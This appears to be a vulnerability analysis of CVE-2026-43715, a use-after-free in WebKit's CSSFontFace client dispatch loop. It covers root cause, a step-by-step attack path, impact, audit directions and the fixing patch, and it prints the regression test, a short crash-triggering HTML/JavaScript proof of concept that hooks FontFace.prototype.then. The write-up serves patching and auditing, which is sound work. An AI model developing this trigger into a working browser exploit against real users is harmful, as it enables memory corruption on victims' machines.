CVE-2026-43715
Overview
Background
- `CSSFontFace`
- WebCore object (
Source/WebCore/css/CSSFontFace.cpp) modeling a single@font-facerule /FontFaceJS object. It notifies interested parties (CSS font selectors, theFontFacepromise machinery) throughCSSFontFaceClientobservers. - `WeakHashSet<CSSFontFaceClient>`
- The set of registered clients. Entries are weak: a client can be removed/destroyed independently while the font face is alive.
- `iterateClients()`
- Helper that dispatches a callback to every client. It snapshots the set into a
Vector<Ref<CSSFontFaceClient>>first, so that mutation of the set during dispatch does not invalidate the iterator. - `copyToVectorOf<Ref<...>>`
- Copies the live members into a vector of strong
Refs, pinning each client object’s lifetime for the duration of the loop.
Root Cause Analysis
iterateClients() snapshotted the client set into copyToVectorOf<Ref<CSSFontFaceClient>>(clients) and then unconditionally invoked callback(client) for each element. The snapshot solves iterator invalidation and the Ref keeps each client object itself allocated — but it does not account for a client being removed from the set mid-iteration. A callback dispatched to an earlier client can run script (or synchronous layout) that unregisters a later client and tears down the state that client’s CSSFontFaceClient callback depends on. Because the stale Ref still pins the object, the subsequent callback() on the removed client re-enters it in a now-defunct state, dereferencing associated state that has already been destroyed — the use-after-free the advisory reports.
The regression test makes this concrete: it installs a getter on FontFace.prototype.then that, when the font-load promise is touched, removes the <style id="v"> element and forces a synchronous layout (document.body.offsetHeight) in the middle of face.load() dispatch. That re-entrancy mutates the font/client graph while iterateClients() is still walking its snapshot. The patch guards each dispatch with if (clients.contains(client)), re-checking that the client is still a live member of the set at the moment of the callback and skipping any client removed since the snapshot was taken, so no callback is delivered to an unregistered/destroyed client.
clients.contains(client) before each callback.Attack Path
- Register a font face
Page adds an
@font-facerule / creates aFontFace, registering clients on theCSSFontFace. - Hook promise access
Script defines a getter on
FontFace.prototype.thenso that touching the load promise runs attacker code synchronously. - Trigger iteration
face.load()(or layout) causesCSSFontFaceto calliterateClients(), which snapshots clients and begins dispatching callbacks. - Mutate mid-iteration
The hooked getter removes a DOM node (
<style>) and forces layout, unregistering/destroying a client while the snapshot loop is still running. - Use-after-free
The loop dispatches to the now-removed client, operating on torn-down associated state → use-after-free / crash (the precise freed object is not shown by the diff; WebKit lifetime here is
WeakHashSet+Ref, so the freed memory is inferred to be client-associated state rather than theRef-pinned client itself).
Impact Assessment
@font-face + the FontFace load API and a prototype-chain hook — no elevated privilege required. The diff substantiates a mid-iteration-removal use-after-free; the advisory escalates it to “memory corruption,” which is consistent, but a controlled read/write primitive is inferred rather than demonstrated by the diff. Gating is light: the attacker only needs to run script during callback dispatch, which the then getter provides.Files Changed
LayoutTests/fonts/font-face-load-crash-expected.txtLayoutTests/fonts/font-face-load-crash.htmlSource/WebCore/css/CSSFontFace.cpp
Audit Directions
- Snapshot-then-dispatch loopsAudit other
copyToVectorOf<Ref<...>>(someWeakHashSet)/copyToVectordispatch loops in WebCore that invoke reentrant callbacks without re-checking set membership (font, animation, media, and mutation-observer notification paths are prime candidates). - Reentrancy via JS getters/promisesAny observer dispatch reachable while user JS can run (promise
then, event listeners) should assume the client set can mutate during the loop. - `FontFaceSet`/`CSSFontSelector` clientsReview sibling notification paths on the font-loading pipeline for the same remove-during-iteration assumption.
Patch
diff --git a/Source/WebCore/css/CSSFontFace.cpp b/Source/WebCore/css/CSSFontFace.cpp
index ac6f2b015f8a..6515d3514d9a 100644
--- a/Source/WebCore/css/CSSFontFace.cpp
+++ b/Source/WebCore/css/CSSFontFace.cpp
@@ -62,8 +62,10 @@ DEFINE_ALLOCATOR_WITH_HEAP_IDENTIFIER(CSSFontFace);
static void iterateClients(WeakHashSet<CSSFontFaceClient>& clients, NOESCAPE const Function<void(CSSFontFaceClient&)>& callback)
{
- for (auto& client : copyToVectorOf<Ref<CSSFontFaceClient>>(clients))
- callback(client);
+ for (auto& client : copyToVectorOf<Ref<CSSFontFaceClient>>(clients)) {
+ if (clients.contains(client))
+ callback(client);
+ }
}
void CSSFontFace::appendSources(CSSFontFace& fontFace, CSSValueList& srcList, ScriptExecutionContext* context, bool isInitiatingElementInUserAgentShadowTree)
diff --git a/LayoutTests/fonts/font-face-load-crash-expected.txt b/LayoutTests/fonts/font-face-load-crash-expected.txt
new file mode 100644
index 000000000000..b0352cadbf49
--- /dev/null
+++ b/LayoutTests/fonts/font-face-load-crash-expected.txt
@@ -0,0 +1 @@
+This test passes if WebKit does not crash.
diff --git a/LayoutTests/fonts/font-face-load-crash.html b/LayoutTests/fonts/font-face-load-crash.html
new file mode 100644
index 000000000000..43472c0fb8fc
--- /dev/null
+++ b/LayoutTests/fonts/font-face-load-crash.html
@@ -0,0 +1,17 @@
+<style id="v">x{}</style>
+<body>
+<script>
+window?.testRunner?.dumpAsText();
+let s = document.createElement('style');
+s.textContent = '@font-face { font-family: t; src: local(Helvetica); }';
+document.head.appendChild(s);
+document.body.offsetHeight;
+let face = [...document.fonts].find(f => f.family.replace(/['"]/g, '') === 't');
+face.loaded;
+Object.defineProperty(FontFace.prototype, 'then', { get() {
+ document.getElementById('v').remove();
+ document.body.offsetHeight;
+}, configurable: true });
+face.load();
+document.write('This test passes if WebKit does not crash.');
+</script>
Regression Test / PoC
diff --git a/LayoutTests/fonts/font-face-load-crash-expected.txt b/LayoutTests/fonts/font-face-load-crash-expected.txt
new file mode 100644
index 000000000000..b0352cadbf49
--- /dev/null
+++ b/LayoutTests/fonts/font-face-load-crash-expected.txt
@@ -0,0 +1 @@
+This test passes if WebKit does not crash.
diff --git a/LayoutTests/fonts/font-face-load-crash.html b/LayoutTests/fonts/font-face-load-crash.html
new file mode 100644
index 000000000000..43472c0fb8fc
--- /dev/null
+++ b/LayoutTests/fonts/font-face-load-crash.html
@@ -0,0 +1,17 @@
+<style id="v">x{}</style>
+<body>
+<script>
+window?.testRunner?.dumpAsText();
+let s = document.createElement('style');
+s.textContent = '@font-face { font-family: t; src: local(Helvetica); }';
+document.head.appendChild(s);
+document.body.offsetHeight;
+let face = [...document.fonts].find(f => f.family.replace(/['"]/g, '') === 't');
+face.loaded;
+Object.defineProperty(FontFace.prototype, 'then', { get() {
+ document.getElementById('v').remove();
+ document.body.offsetHeight;
+}, configurable: true });
+face.load();
+document.write('This test passes if WebKit does not crash.');
+</script>